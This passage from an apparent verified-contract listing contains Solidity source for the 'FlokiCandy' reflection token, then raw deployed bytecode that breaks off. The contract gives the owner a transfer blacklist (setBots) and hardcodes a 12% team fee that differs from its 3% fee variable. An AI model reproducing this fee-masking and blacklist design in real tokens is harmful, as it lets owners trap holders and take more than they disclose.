_marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 3; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 12); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f01565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a24565b61045e565b6040516101789190612ee6565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a3565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d5565b61048c565b6040516101e09190612ee6565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612947565b610565565b005b34801561021e57600080fd5b50610227610655565b6040516102349190613118565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa1565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612947565b610782565b6040516102b191906130a3565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612e18565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612f01565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a24565b61098c565b60405161035b9190612ee6565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a60565b6109aa565b005b34801561039957600080fd5b506103a2610afa565b005b3480156103b057600080fd5b506103b9610b74565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af3565b6110d3565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612999565b61121b565b60405161041891906130a3565b60405180910390f35b60606040518060400160405280601b81526020017f466c6f6b6963616e64797c20742e6d652f466c6f6b6943616e64790000000000815250905090565b600061047261046b6112a2565b84846112aa565b6001905092915050565b6000678ac7230489e80000905090565b6000610499848484611475565b61055a846104a56112a2565b610555856040518060600160405280602881526020016137dc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b6112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c349092919063ffffffff16565b6112aa565b600190509392505050565b61056d6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612fe3565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106666112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612fe3565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107516112a2565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611c98565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db9565b9050919050565b6107db6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612fe3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f466c6f6b6943616e2020f09f8dac000000000000000000000000000000000000815250905090565b60006109a06109996112a2565b8484611475565b6001905092915050565b6109b26112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612fe3565b60405180910390fd5b60005b8151811015610af6576001600a6000848481518110610a8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aee906133b9565b915050610a42565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3b6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b57600080fd5b6000610b6630610782565b9050610b7181611e27565b50565b610b7c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0090612fe3565b60405180910390fd5b600f60149054906101000a900460ff1615610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5090613063565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e800006112aa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2e57600080fd5b505afa158015610d42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d669190612970565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc857600080fd5b505afa158015610ddc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e009190612970565b6040518363ffffffff1660e01b8152600401610e1d929190612e33565b602060405180830381600087803b158015610e3757600080fd5b505af1158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f9190612970565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef830610782565b600080610f03610926565b426040518863ffffffff1660e01b8152600401610f2596959493929190612e85565b6060604051808303818588803b158015610f3e57600080fd5b505af1158015610f52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f779190612b1c565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506b0813f3978f894098440000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107d929190612e5c565b602060405180830381600087803b15801561109757600080fd5b505af11580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf9190612aca565b5050565b6110db6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f90612fe3565b60405180910390fd5b600081116111ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a290612fa3565b60405180910390fd5b6111d960646111cb83678ac7230489e8000061212190919063ffffffff16565b61219c90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161121091906130a3565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190613043565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190612f63565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146891906130a3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90613023565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612f23565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90613003565b60405180910390fd5b6115a0610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7157600f60179054906101000a900460ff1615611841573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ea5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117445750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184057600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806118005750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b61183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690613083565b60405180910390fd5b5b5b60105481111561185057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fd57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a165750600f60179054906101000a900460ff165b15611ab75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b603c42611a7391906131d9565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac230610782565b9050600f60159054906101000a900460ff16158015611b2f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b475750600f60169054906101000a900460ff165b15611b6f57611b5581611e27565b60004790506000811115611b6d57611b6c47611c98565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c185750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2257600090505b611c2e848484846121e6565b50505050565b6000838311158290611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612f01565b60405180910390fd5b5060008385611c8b91906132ba565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfb600a611ced60048661212190919063ffffffff16565b61219c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d26573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d8a600a611d7c60068661212190919063ffffffff16565b61219c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db5573d6000803e3d6000fd5b5050565b6000600654821115611e00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df790612f43565b60405180910390fd5b6000611e0a612213565b9050611e1f818461219c90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e85577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb35781602001602082028036833780820191505090505b5090503081600081518110611ef1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9357600080fd5b505afa158015611fa7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fcb9190612970565b81600181518110612005577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206c30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120d09594939291906130be565b600060405180830381600087803b1580156120ea57600080fd5b505af11580156120fe573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121345760009050612196565b600082846121429190613260565b9050828482612151919061322f565b14612191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218890612fc3565b60405180910390fd5b809150505b92915050565b60006121de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223e565b905092915050565b806121f4576121f36122a1565b5b6121ff8484846122d2565b8061220d5761220c61249d565b5b50505050565b60008060006122206124af565b91509150612237818361219c90919063ffffffff16565b9250505090565b60008083118290612285576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227c9190612f01565b60405180910390fd5b5060008385612294919061322f565b9050809150509392505050565b60006008541480156122b557506000600954145b156122bf576122d0565b600060088190555060006009819055505b565b6000806000806000806122e48761250e565b95509550955095509550955061234286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125bf90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124238161261d565b61242d84836126da565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248a91906130a3565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000678ac7230489e8000090506124e3678ac7230489e8000060065461219c90919063ffffffff16565b82101561250157600654678ac7230489e8000093509350505061250a565b81819350935050505b9091565b600080600080600080600080600061252a8a600854600c612714565b925092509250600061253a612213565b9050600080600061254d8e8787876127aa565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c34565b905092915050565b60008082846125ce91906131d9565b905083811015612613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260a90612f83565b60405180910390fd5b8091505092915050565b6000612627612213565b9050600061263e828461212190919063ffffffff16565b905061269281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125bf90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126ef8260065461257590919063ffffffff16565b60068190555061270a816007546125bf90919063ffffffff16565b6007819055505050565b6000806000806127406064612732888a61212190919063ffffffff16565b61219c90919063ffffffff16565b9050600061276a606461275c888b61212190919063ffffffff16565b61219c90919063ffffffff16565b9050600061279382612785858c61257590919063ffffffff16565b61257590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c3858961212190919063ffffffff16565b905060006127da868961212190919063ffffffff16565b905060006127f1878961212190919063ffffffff16565b9050600061281a8261280c858761257590919063ffffffff16565b61257590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061284661284184613158565b613133565b9050808382526020820190508285602086028201111561286557600080fd5b60005b85811015612895578161287b888261289f565b845260208401935060208301925050600181019050612868565b5050509392505050565b6000813590506128ae81613796565b92915050565b6000815190506128c381613796565b92915050565b600082601f8301126128da57600080fd5b81356128ea848260208601612833565b91505092915050565b600081359050612902816137ad565b92915050565b600081519050612917816137ad565b92915050565b60008135905061292c816137c4565b92915050565b600081519050612941816137c4565b92915050565b60006020828403121561295957600080fd5b60006129678482850161289f565b91505092915050565b60006020828403121561298257600080fd5b6000612990848285016128b4565b91505092915050565b600080604083850312156129ac57600080fd5b60006129ba8582860161289f565b92505060206129cb8582860161289f565b9150509250929050565b6000806000606084860312156129ea57600080fd5b60006129f88682870161289f565b9350506020612a098682870161289f565b9250506040612a1a8682870161291d565b9150509250925092565b60008060408385031215612a3757600080fd5b6000612a458582860161289f565b9250506020612a568582860161291d565b9150509250929050565b600060208284031215612a7257600080fd5b600082013567ffffffffffffffff811115612a8c57600080fd5b612a98848285016128c9565b91505092915050565b600060208284031215612ab357600080fd5b6000612ac1848285016128f3565b91505092915050565b600060208284031215612adc57600080fd5b6000612aea84828501612908565b91505092915050565b600060208284031215612b0557600080fd5b6000612b138482850161291d565b91505092915050565b600080600060608486031215612b3157600080fd5b6000612b3f86828701612932565b9350506020612b5086828701612932565b9250506040612b6186828701612932565b9150509250925092565b6000612b778383612b83565b60208301905092915050565b612b8c816132ee565b82525050565b612b9b816132ee565b82525050565b6000612bac82613194565b612bb681856131b7565b9350612bc183613184565b8060005b83811015612bf2578151612bd98882612b6b565b9750612be4836131aa565b925050600181019050612bc5565b5085935050505092915050565b612c0881613300565b82525050565b612c1781613343565b82525050565b6000612c288261319f565b612c3281856131c8565b9350612c42818560208601613355565b612c4b8161348f565b840191505092915050565b6000612c636023836131c8565b9150612c6e826134a0565b604082019050919050565b6000612c86602a836131c8565b9150612c91826134ef565b604082019050919050565b6000612ca96022836131c8565b9150612cb48261353e565b604082019050919050565b6000612ccc601b836131c8565b9150612cd78261358d565b602082019050919050565b6000612cef601d836131c8565b9150612cfa826135b6565b602082019050919050565b6000612d126021836131c8565b9150612d1d826135df565b604082019050919050565b6000612d356020836131c8565b9150612d408261362e565b602082019050919050565b6000612d586029836131c8565b9150612d6382613657565b604082019050919050565b6000612d7b6025836131c8565b9150612d86826136a6565b604082019050919050565b6000612d9e6024836131c8565b9150612da9826136f5565b604082019050919050565b6000612dc16017836131c8565b9150612dcc82613744565b602082019050919050565b6000612de46011836131c8565b9150612def8261376d565b602082019050919050565b612e038161332c565b82525050565b612e1281613336565b82525050565b6000602082019050612e2d6000830184612b92565b92915050565b6000604082019050612e486000830185612b92565b612e556020830184612b92565b9392505050565b6000604082019050612e716000830185612b92565b612e7e6020830184612dfa565b9392505050565b600060c082019050612e9a6000830189612b92565b612ea76020830188612dfa565b612eb46040830187612c0e565b612ec16060830186612c0e565b612ece6080830185612b92565b612edb60a0830184612dfa565b979650505050505050565b6000602082019050612efb6000830184612bff565b92915050565b60006020820190508181036000830152612f1b8184612c1d565b905092915050565b60006020820190508181036000830152612f3c81612c56565b9050919050565b60006020820190508181036000830152612f5c81612c79565b9050919050565b60006020820190508181036000830152612f7c81612c9c565b9050919050565b60006020820190508181036000830152612f9c81612cbf565b9050919050565b60006020820190508181036000830152612fbc81612ce2565b9050919050565b60006020820190508181036000830152612fdc81612d05565b9050919050565b60006020820190508181036000830152612ffc81612d28565b9050919050565b6000602082019050818103600083015261301c81612d4b565b9050919050565b6000602082019050818103600083015261303c81612d6e565b9050919050565b6000602082019050818103600083015261305c81612d91565b9050919050565b6000602082019050818103600083015261307c81612db4565b9050919050565b6000602082019050818103600083015261309c81612dd7565b9050919050565b60006020820190506130b86000830184612dfa565b92915050565b600060a0820190506130d36000830188612dfa565b6130e06020830187612c0e565